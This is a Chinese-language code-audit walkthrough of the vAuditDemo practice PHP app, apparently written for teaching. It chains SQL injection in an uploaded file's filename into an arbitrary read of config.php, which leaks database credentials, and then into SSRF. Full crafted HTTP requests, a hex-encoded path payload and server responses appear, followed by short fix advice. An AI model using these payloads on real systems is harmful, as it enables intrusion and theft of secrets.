任意文件读取是属于文件操作漏洞的一种。
一般任意文件读取漏洞可以读取配置信息、甚至系统重要文件。
严重的话,就可能导致SSRF,进而漫游内网。
文件操作漏洞
- 任意文件删除--删除lock
- 任意文件复制--jpg2php && php2txt
- 任意文件下载
- 任意文件读取--SSRF
- 任意文件写入
avatar.php
在读取头像信息时使用了file_get_contents()函数,file_get_contents() 函数是用来将文件的内容读入到一个字符串中。如果$_SESSION['avatar']可控,就有可能存在任意文件读取。
搜索$_SESSION['avatar']
查找它的来源。
logCheck.php
$_SESSION['avatar']
是在登录时从数据库中读取的。
if (isset($_POST['submit']) && !empty($_POST['user']) && !empty($_POST['pass'])) { $clean_name = clean_input($_POST['user']); $clean_pass = clean_input($_POST['pass']); $query = "SELECT * FROM users WHERE user_name = '$clean_name' AND user_pass = SHA('$clean_pass')"; $data = mysql_query($query, $conn) or die('Error!!'); if (mysql_num_rows($data) == 1) { $row = mysql_fetch_array($data); $_SESSION['username'] = $row['user_name']; $_SESSION['avatar'] = $row['user_avatar']; $ip = sqlwaf(get_client_ip());
if (isset($_POST['submit']) && isset($_FILES['upfile'])) { if(is_pic($_FILES['upfile']['name'])){ $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name']; if (move_uploaded_file($_FILES['upfile']['tmp_name'], $avatar)) { //更新用户信息 $query = "UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'"; // "UPDATE users SET user_avatar = '1', SET user_avatar = '2' WHERE user_name = 'test'#.png"; // ',user_avatar = '2' WHERE user_name = 'test'#.png mysql_query($query, $conn) or die('update error!'); mysql_close($conn); //刷新缓存 $_SESSION['avatar'] = $avatar; header('Location: edit.php'); }
$_FILES
在传入时除了判断是否是图片后缀未做其他过滤。 修改update语句,set两个值,当update语句中同时set两个值时,只有第二个值是生效的。由于使用了is_pic()函数判断是否是图片后缀,所以需要构造.png后缀,但是需要在语句执行前将.png截断。
"UPDATE users SET user_avatar = '1', user_avatar = '2' WHERE user_name = 'test'";
开启burp,登录用户test并上传头像,找到登录包、更新图像的包和获取图像这三个数据包。
- logCheck.php
- updateAvatar.php
- avatar.php
',user_avatar = '2' WHERE user_name = 'test'#.png
修改上传数据包如下:filename处注入SQL语句。
POST /user/updateAvatar.php HTTP/1.1
Host: www.code.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------18467633426500 Content-Length: 332 Origin: http://www.code.com Connection: close Referer: http://www.code.com/user/edit.php Cookie: PHPSESSID=44u76jo2g5t1vmp60ptau9uba2 Upgrade-Insecure-Requests: 1 DNT: 1 -----------------------------18467633426500 Content-Disposition: form-data; name="upfile"; filename="',user_avatar = '2' WHERE user_name = 'test'#.png" Content-Type: image/png -----------------------------18467633426500 Content-Disposition: form-data; name="submit" 涓婁紶 -----------------------------18467633426500--
然后修改logCheck.php内容如下,当SQL语句执行出错时让其输出错误信息。
if (mysql_num_rows($data) == 1) {
$row = mysql_fetch_array($data);
$_SESSION['username'] = $row['user_name'];
$_SESSION['avatar'] = $row['user_avatar']; $ip = sqlwaf(get_client_ip()); // $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'"; mysql_query($query, $conn) or die("mysql_error()"); //mysql错误信息输出 header('Location: user.php'); }
repeater重放包,查看数据是否成功写入2。
9 test a94a8fe5ccb19ba61c4c0873d391e987982fbbd3 2 2020-04-11 127.0.0.1
修改2为
../sys/config.php
,查看数据库信息发现filename处只能输入文件名,不能带路径。
9 test a94a8fe5ccb19ba61c4c0873d391e987982fbbd3 ../uploads/u_1586583208_config.php 2020-04-11 127.0.0.1
对../sys/config.php
进行十六进制编码,再次尝试,成功写入../sys/config.php
。
filename="',user_avatar = 0x2F7379732F636F6E666967706870 WHERE user_name = 'test'#.png"(注意十六进制头部需加0x)
// 结果
9 test a94a8fe5ccb19ba61c4c0873d391e987982fbbd3 ../sys/config.php 2020-04-11 127.0.0.1
获取头像操作是在登录时进行获取的,修改一下session值,重放登录包和获取头像的数据包。 在获取头像的响应中即可看到config.php的源码。
HTTP/1.1 200 OK
Date: Sat, 11 Apr 2020 06:03:34 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/5.4.45
Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: image/jpeg Content-Length: 552 // error_reporting(E_ALL); error_reporting(0); if (!file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock')){ header("Location: /install/install.php"); exit; } include_once('../sys/lib.php'); $host="localhost"; $username="root"; $password="root"; $database="vauditdemo"; $conn = mysql_connect($host,$username,$password); mysql_query('set names utf8',$conn); mysql_select_db($database, $conn) or die(mysql_error()); if (!$conn) { die('Could not connect: ' . mysql_error()); exit; } session_start(); ?>
测试一下是否存在ssrf漏洞。将
http://www.baidu.com
转换为十六进制。重发登录包和获取头像包,能够获取百度html,说明存在ssrf。
test a94a8fe5ccb19ba61c4c0873d391e987982fbbd3 http://www.baidu.com 2020-04-11 127.0.0.1
HTTP/1.1 200 OK
Date: Sat, 11 Apr 2020 06:36:55 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/5.4.45
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: image/jpeg
Content-Length: 14616
漏洞修复
- 对
$_FILE
进行过滤 - 对
filename
中的特殊字符进行过滤。
审计思路总结
-
- 1.
file_get_contents
可以读取$_SESSION['avater']
- 2.
$_SESSION['avater']
通过$row['user_avater']
获取 - 3.
updateAvater.php
上传头像到数据库 - 4.
$avater
的最终来源是$_FILE['upfile']['name']
上传文件的名字。
- 1.